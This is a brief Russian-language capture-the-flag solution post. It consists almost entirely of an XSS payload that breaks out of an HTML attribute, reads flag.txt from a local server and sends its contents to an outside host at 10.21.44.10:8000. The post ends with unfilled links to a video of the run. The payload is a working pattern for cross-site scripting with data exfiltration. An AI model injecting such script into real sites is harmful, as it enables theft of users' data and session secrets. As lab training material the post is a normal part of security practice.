Код решения:

'"><script>
    fetch('http://127.0.0.1:8080/flag.txt')
        .then(response => response.text())
        .then(data => {
            fetch('http://10.21.44.10:8000/?flag=' + encodeURIComponent(data));
    });
</script>

Видео выполнения:

• Оригинал:
• YouTube